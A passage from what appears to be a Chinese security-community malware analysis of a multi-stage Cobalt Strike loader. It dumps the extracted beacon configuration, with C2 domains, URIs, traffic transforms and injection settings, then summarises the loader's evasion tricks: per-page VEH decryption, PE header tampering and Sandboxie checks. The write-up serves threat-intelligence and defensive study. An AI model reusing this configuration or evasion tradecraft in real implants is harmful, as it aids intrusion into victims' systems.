"PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCXk/BkQoUQVqOHlXxBiaNBEPX/9hcvuGhMZ4W0N/KYmmy7o3KJJ7oJQKmq1uWVrrn9VpJThvUXnb5HowgD818uCm9Irs2jwKnx7JH2rG/yBvRORyOtFE2qpTpbgYITPkzmngL4lz/+lQeeCPpDSOZRZxlM6s7wIJpwgyxIV6XnAQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "c6bac61de87606f857f34b49923b95ec", "C2Server": "specialclouds.com,/api/v1/get,specialclouds.top,/api/v1/get,namefilecode.com,/api/v1/get", "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "HttpPostUri": "/api/v1/post", "Malleable_C2_Instructions": [ "Base64 URL-safe decode", "XOR mask w/ random key" ], "HttpGet_Metadata": { "ConstHeaders": [ "Content-Type: application/*; charset=utf-8", "Accept: */*", "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding: gzip, deflate", "Priority: u=1, i" ], "ConstParams": [], "Metadata": [ "base64url", "prepend \"_UK=\"", "header \"Cookie\"" ], "SessionId": [], "Output": [] }, "HttpPost_Metadata": { "ConstHeaders": [ "Content-Type: application/*; charset=utf-8", "Accept: */*", "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding: gzip, deflate", "Priority: u=1, i" ], "ConstParams": [], "Metadata": [], "SessionId": [ "mask", "base64url", "prepend \"_ZF=\"", "header \"Cookie\"" ], "Output": [ "mask", "base64url", "print" ] }, "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "PipeName": "Not Found", "DNS_Idle": "Not Found", "DNS_Sleep": "Not Found", "SSH_Host": "Not Found", "SSH_Port": "Not Found", "SSH_Username": "Not Found", "SSH_Password_Plaintext": "Not Found", "SSH_Password_Pubkey": "Not Found", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%allusersprofile%\\CrashReport\\CrashReport.exe", "Spawnto_x64": "%allusersprofile%\\CrashReport\\CrashReport64.exe", "CryptoScheme": 0, "Proxy_Config": "Not Found", "Proxy_User": "Not Found", "Proxy_Password": "Not Found", "Proxy_Behavior": "Use IE settings", "Watermark_Hash": "Vbi/d5GsmtZldELooLqdHw==", "Watermark": 666666666, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 10192, "ProcInject_PrependAppend_x86": [ "Dx+EAAAAAAAPHwAPH0QAAJAPH4QAAAAAAA==", "Dx9EAAAPH0QAAA8fAA8fgAAAAABmDx9EAABmDx+EAAAAAAAPH0AADx9AAA8fQAA=" ], "ProcInject_PrependAppend_x64": [ "kA8fQAAPH4QAAAAAAGYPH0QAAA8fQAAPH4QAAAAAAJBmDx+EAAAAAAAPH0QAAJAPHwAPH4AAAAAADx9AAA8fQABQWGaQZg8fhAAAAAAAZg8fhAAAAAAADx8A", "Dx+AAAAAAA8fhAAAAAAADx9EAABmDx9EAACQDx9EAAAPH4AAAAAAUFgPH4AAAAAADx8ADx+AAAAAAA8fgAAAAAAPH0AADx8AZg8fRAAADx9EAAAPH4QAAAAAAA8fQACQkA==" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "VirtualAllocEx", "ProcInject_Stub": "54GkR598WgOy3P5L1DY2bw==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "ABPJZYmIr/ts+WTHYbHS5s4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "ACbdX3KCpXCOruif4HCPnV+gUVXAdFH1tHPCn+OvcHOTxaVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "headersToRemove": "Not Found", "DNS_Beaconing": "Not Found", "DNS_get_TypeA": "Not Found", "DNS_get_TypeAAAA": "Not Found", "DNS_get_TypeTXT": "Not Found", "DNS_put_metadata": "Not Found", "DNS_put_output": "Not Found", "DNS_resolver": "Not Found", "DNS_strategy": "failover", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": 5, "DNS_strategy_fail_seconds": -1, "Retry_Max_Attempts": 0, "Retry_Increase_Attempts": 0, "Retry_Duration": 0 } ``` ### 技术总结 该样本是一个高度对抗性的多阶段 Cobalt Strike loader,整体执行链路共分四阶段,各阶段均采用了不同的规避与解密手段,具体如下: **执行链路回顾** | 阶段 | 载体 | 核心技术 | |---|---|---| | 第一阶段 | 覆写入口点的 shellcode | 从资源段提取并 XOR 解密第二阶段 payload,`VirtualAlloc` + `CreateThread` 执行 | | 第二阶段 | shellcode | VEH 驱动的按页(4KB)动态解密执行,同一时刻内存中仅存在一页明文指令 | | 第三阶段 | 解密后的 shellcode(donut 风格加载器) | 支持 PE hollowing、execute-assembly、in-memory script 三种执行方式;本样本走内存解压 + hollowing 路径 | | 第四阶段 | 解压出的 PE 文件 | 基于 `SbieDll.dll` 的反沙箱检测 + UDRL 加载篡改了 magic 和入口点的嵌套 PE(Cobalt Strike beacon) | **核心对抗技术** 1. **按页加密 + VEH 驱动执行**:第二阶段的真实 shellcode 整体保持加密状态,依靠 `RtlAddVectoredExceptionHandler` 注册的异常处理器在运行时按需解密当前页、重新加密上一页,内存中任意时刻的明文窗口仅为 4KB,有效对抗内存扫描与 dump 分析。 2. **PE 特征抹除**:嵌套的 Cobalt Strike PE 将 `MZ`/`PE` magic 替换为 `AX`/`DB`,入口点 RVA 写入非标准偏移(+0x80),导入目录移至 `DataDirectory[3]`,并在加载过程中对 DLL 名和函数名进行加密存储,增大静态分析难度。 3. **API 动态解析**:各阶段均通过遍历导出表或 hash 比对的方式动态获取 API 地址,避免 IAT 中出现敏感函数名。 4. **反沙箱**:第四阶段 PE 在执行核心逻辑前以 15 秒延迟循环检测进程中是否加载了 `SbieDll.dll`(Sandboxie 组件),检测通过后才继续执行。 5. **资源段隐藏 payload**:第一阶段将下一级 shellcode 以 XOR 加密形式存放于 PE 资源段,回避基于节名或熵值的静态检测。 **最终 payload — Cobalt Strike** Beacon 配置采用 HTTPS 通信,回连端口 443,C2 服务器为 `specialclouds.com`、`specialclouds.top`、`namefilecode.com`,通信路径 `/api/v1/get` (GET) 和 `/api/v1/post` (POST)。流量使用 Base64 URL-safe 编码并叠加随机 XOR mask,Cookie 字段携带元数据(`_UK=`)和 Session ID(`_ZF=`)。水印值 `666666666` 可作为溯源参考。
发表于 2026-07-03 12:02:24
阅读 ( 409 )
分类:
二进制
0 推荐
收藏
0 条评论
wangmengniubi
0 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!